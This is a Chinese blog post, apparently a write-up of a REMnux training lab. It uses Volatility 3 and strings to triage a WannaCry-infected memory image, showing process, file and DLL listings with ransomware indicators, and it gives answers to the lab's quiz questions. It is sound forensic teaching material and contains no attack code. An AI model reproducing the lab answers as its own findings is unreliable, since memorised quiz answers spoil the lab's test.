596	csrss.exe	C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,3072,512 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off MaxRequestThreads=16
620	winlogon.exe	winlogon.exe
664	services.exe	C:\WINDOWS\system32\services.exe
676	lsass.exe	C:\WINDOWS\system32\lsass.exe
836	svchost.exe	C:\WINDOWS\system32\svchost -k DcomLaunch
904	svchost.exe	C:\WINDOWS\system32\svchost -k rpcss
1024	svchost.exe	C:\WINDOWS\System32\svchost.exe -k netsvcs
1084	svchost.exe	C:\WINDOWS\system32\svchost.exe -k NetworkService
1152	svchost.exe	C:\WINDOWS\system32\svchost.exe -k LocalService
1484	spoolsv.exe	C:\WINDOWS\system32\spoolsv.exe
1636	explorer.exe	C:\WINDOWS\Explorer.EXE
1940	tasksche.exe	"C:\Intel\ivecuqmanpnirkt615\tasksche.exe" 
1956	ctfmon.exe	"C:\WINDOWS\system32\ctfmon.exe" 
260	svchost.exe	C:\WINDOWS\system32\svchost.exe -k LocalService
740	@WanaDecryptor@	@WanaDecryptor@.exe
1768	wuauclt.exe	"C:\WINDOWS\system32\wuauclt.exe" /RunStoreAsComServer Local\[400]SUSDS81a6658cb72fa845814e75cca9a42bf2
544	alg.exe	C:\WINDOWS\System32\alg.exe
1168	wscntfy.exe	C:\WINDOWS\system32\wscntfy.exe

FileScan

此插件会扫描特定 Windows 内存映像中的文件对象,结果将超过 1,400 行。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.filescan.FileScan
Volatility 3 Framework 2.0.0
Progress:  100.00		PDB scanning finished

查看结果(实际输出的文本比较长,我们在此将省略一些内容):

Offset	Name	Size
0x1f40310	\Endpoint	112
0x1f65718	\Endpoint	112
0x1f66cd8	\WINDOWS\system32\wbem\wmipcima.dll	112
0x1f67198	\WINDOWS\Prefetch\TASKDL.EXE-01687054.pf	112
0x1f67a70	\WINDOWS\system32\security.dll	112
0x1f67c68	\boot.ini	112
0x1f67ef8	\WINDOWS\system32\cfgmgr32.dll	112
0x1f684d0	\WINDOWS\system32\wbem\framedyn.dll	112
0x1f686d8	\WINDOWS\system32\wbem\cimwin32.dll	112
0x1f6a7f0	\WINDOWS\system32\kmddsp.tsp	112
0x1f6ae20	\$Directory	112
0x1f6b9b0	\$Directory	112
0x1f6bbf8	\$Directory	112
0x1f6bdc8	\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER	112
0x1f6be60	\WINDOWS\win.ini	112
0x1f6bf90	\$Directory	112
0x1f6c2a8	\$Directory	112
0x1f6c3b8	\$Directory	112
0x1f6cea0	\$Directory	112
0x1f6d158	\lsass	112
0x1f6d4a8	\$Directory	112
0x1f6dba8	\$Directory	112
0x1f6e188	\$Directory	112
0x1f6e6a0	\$Directory	112
0x1f70708	\WINDOWS\system32\rastapi.dll	112
0x1f71190	\$Directory	112
0x1f71b88	\WINDOWS\system32\wbem\Logs\wbemess.log	112
0x1f72f90	\$Directory	112
0x1f732b0	\WINDOWS\system32\uniplat.dll	112
0x1f735d8	\$Directory	112
0x1f753d8	\WINDOWS\system32	112
0x1f75888	\$Directory	112
0x1f75ba8	\$Directory	112
0x1f75df0	\$Directory	112
0x1f761a8	\$Directory	112
0x1f76368	\$Directory	112
0x1f769e0	\$Directory	112
0x1f76b10	\$Directory	112
0x1f76e58	\Documents and Settings\All Users\Start Menu\desktop.ini	112
0x1f76f48	\$Directory	112
0x1f77028	\Documents and Settings\donny\Start Menu\Programs\Accessories\Accessibility\desktop.ini	112
0x1f77298	\$Directory	112
......

DllList

此插件将列出特定 Windows 内存映像中已加载的模块。由于文本限制,在这里将不给出相关的命令执行结果。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.dlllist.DllList
Volatility 3 Framework 2.0.0
Progress:  100.00		PDB scanning finished
......

PsScan

该插件用于扫描特定 Windows 内存映像中存在的进程。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.psscan.PsScan
Volatility 3 Framework 2.0.0
Progress:  100.00		PDB scanning finished

查看结果:

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wow64	CreateTime	ExitTime	File output
860	1940	taskdl.exe	0x1f4daf0	0	-	0	False	2017-05-12 21:26:23.000000 	2017-05-12 21:26:23.000000 	Disabled
536	1940	taskse.exe	0x1f53d18	0	-	0	False	2017-05-12 21:26:22.000000 	2017-05-12 21:26:23.000000 	Disabled
424	1940	@WanaDecryptor@	0x1f69b50	0	-	0	False	2017-05-12 21:25:52.000000 	2017-05-12 21:25:53.000000 	Disabled
1768	1024	wuauclt.exe	0x1f747c0	7	132	0	False	2017-05-12 21:22:52.000000 	N/A	Disabled
576	1940	@WanaDecryptor@	0x1f8ba58	0	-	0	False	2017-05-12 21:26:22.000000 	2017-05-12 21:26:23.000000 	Disabled
260	664	svchost.exe	0x1fb95d8	5	105	0	False	2017-05-12 21:22:18.000000 	N/A	Disabled
740	1940	@WanaDecryptor@	0x1fde308	2	70	0	False	2017-05-12 21:22:22.000000 	N/A	Disabled
1168	1024	wscntfy.exe	0x1fea8a0	1	37	0	False	2017-05-12 21:22:56.000000 	N/A	Disabled
544	664	alg.exe	0x2010020	6	101	0	False	2017-05-12 21:22:55.000000 	N/A	Disabled
1084	664	svchost.exe	0x203b7a8	6	72	0	False	2017-05-12 21:22:03.000000 	N/A	Disabled
596	348	csrss.exe	0x2161da0	12	352	0	False	2017-05-12 21:22:00.000000 	N/A	Disabled
348	4	smss.exe	0x2169020	3	19	N/A	False	2017-05-12 21:21:55.000000 	N/A	Disabled
620	348	winlogon.exe	0x216e020	23	536	0	False	2017-05-12 21:22:01.000000 	N/A	Disabled
676	620	lsass.exe	0x2191658	23	353	0	False	2017-05-12 21:22:01.000000 	N/A	Disabled
664	620	services.exe	0x21937f0	15	265	0	False	2017-05-12 21:22:01.000000 	N/A	Disabled
1024	664	svchost.exe	0x21af7e8	79	1366	0	False	2017-05-12 21:22:03.000000 	N/A	Disabled
904	664	svchost.exe	0x21b5230	9	227	0	False	2017-05-12 21:22:03.000000 	N/A	Disabled
1152	664	svchost.exe	0x21bea78	10	173	0	False	2017-05-12 21:22:06.000000 	N/A	Disabled
1636	1608	explorer.exe	0x21d9da0	11	331	0	False	2017-05-12 21:22:10.000000 	N/A	Disabled
1484	664	spoolsv.exe	0x21e2da0	14	124	0	False	2017-05-12 21:22:09.000000 	N/A	Disabled
1940	1636	tasksche.exe	0x2218da0	7	51	0	False	2017-05-12 21:22:14.000000 	N/A	Disabled
836	664	svchost.exe	0x221a2c0	19	211	0	False	2017-05-12 21:22:02.000000 	N/A	Disabled
1956	1636	ctfmon.exe	0x2231da0	1	86	0	False	2017-05-12 21:22:14.000000 	N/A	Disabled
4	0	System	0x23c8830	51	244	N/A	False	N/A	N/A	Disabled

Malfind

此插件可用于列出可能包含 已注入的代码 的进程内存范围。由于文本内容限制,在此将不提供可以查看的命令执行结果。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f wcry.mem windows.malfind.Malfind
Volatility 3 Framework 2.0.0
Progress:  100.00		PDB scanning finished
......

有关其他插件的更多信息,你可以查看此链接

现在,你已经可以单独运行插件并查看结果了。接下来要做的是批量处理。还记得吗,调查实践之一就是预处理数字证据并将结果保存到文本文件中,对吧?问题是如何做到呢?

The answer? Do a loop statement! See the command below.

答案是?执行一个循环语句!请参阅下面的命令。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ for plugin in windows.malfind.Malfind windows.psscan.PsScan windows.pstree.PsTree windows.pslist.PsList windows.cmdline.CmdLine windows.filescan.FileScan windows.dlllist.DllList; do vol3 -q -f wcry.mem $plugin > wcry.$plugin.txt; done

让我们分解一下这个命令:

  • 我们创建了一个名为 $plugin 变量,其中包含每个volatility插件的值;

  • 然后运行 vol3 参数 -q ,这意味着安静模式或者不在终端中显示进度;

  • 还有 -f 参数,表示从内存捕获中进行读取;

  • $plugin > wcry.$plugin.txt; done 表示使用插件运行volatility ,并将其输出到一个文件中,其名称开头为wcry,后跟插件名称,扩展名为.txt 。重复此操作,直到变量 $plugin 的值被使用。

运行上面的命令后,你将不会从终端中看到任何输出;但是你会看到运行该命令后 在执行命令的同一目录中所生成的一些文件。

image-20250112194531975

使用Strings进行预处理

接下来,我们将使用 Linux strings(字符串)实用程序来预处理内存映像。我们将提取 ASCII 、16 位小端字节序和 16 位大端字节序字符串。请参阅以下命令。

#在RemnuxVM中
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings wcry.mem > wcry.strings.ascii.txt
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings -e l  wcry.mem > wcry.strings.unicode_little_endian.txt
root@MACHINE_IP:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ strings -e b  wcry.mem > wcry.strings.unicode_big_endian.txt

strings命令可用于提取可打印的 ASCII 文本。 -e l 参数选项将指示strings命令提取 16 位小端字符串。 -e b 选项将指示strings命令提取 16 位大端字符串。这三种字符串格式均可以提供有关被调查的系统的有用信息。

你应该可以看到下面这样的文件生成结果。

image-20250112194546987

现在,我们可以进行分析了,但请记住,我们在本小节中的目标是对数字证据进行预处理,以便任何调查此事件的分析师都可以加快搜索和分析过程。

答题

阅读本小节内容并回答以下问题。

哪个插件可以根据其父进程 ID 在树中列出进程?

PsTree

使用什么插件可以列出机器中所有当前活动的进程?

PsList

哪个 Linux 实用工具可以提取 ASCII、16 位小端字符串和 16 位大端字符串?

strings

通过使用 Malfind 参数运行 vol3 命令,可以确定的第一个被怀疑已经注入了代码的进程是什么?

#在RemnuxVM实验虚拟机的终端中执行命令
sudo su
cd /home/ubuntu/Desktop/tasks/Wcry_memory_image
vol3 -f wcry.mem windows.malfind.Malfind

image-20250528000734531

csrss.exe

在上一个问题的基础上继续,可以确定的第二个被怀疑已经注入了代码的进程是什么?

tips:继续查看刚才的终端输出结果即可。

winlogon.exe

通过使用 DllList 参数运行 vol3 命令,二进制文件 @WanaDecryptor@.exe 的文件路径或目录是什么?

tips:运行vol3命令并添加dlllist参数,然后再对@WanaDecryptor@.exe进行grep处理。

#在RemnuxVM实验虚拟机的终端中执行命令
#sudo su
#cd /home/ubuntu/Desktop/tasks/Wcry_memory_image
#vol3 -f wcry.mem windows.dlllist.DllList | grep -i "*WanaDecryptor*"
vol3 -f wcry.mem windows.dlllist.DllList | grep -i "@WanaDecryptor@.exe"

image-20250528001403819

C:\Intel\ivecuqmanpnirkt615

image-20250528001511969

本文小结

在本文中,我们对REMnux VM进行了基础的实践介绍,在此虚拟机中我们可以使用oledump.py等工具进行文件分析。我们还使用INetSim创建了一个仿真网络,并使用volatility和strings实用工具预处理了内存捕获。所有这些工具都被包含在REMNux VM中,尽管如此,我们还没有实际尝试使用它的许多其他工具,因为它们太多了,以至于我们可以为每个工具创建不同的实验房间来学习和熟悉它们。

顺便说一句,REMnux Distro 主要专注于分析潜在的恶意程序、文档或文件、内存以及类似的对象。

posted @ 2025-05-28 01:01  Hekeatsll  阅读(226)  评论(0)    收藏  举报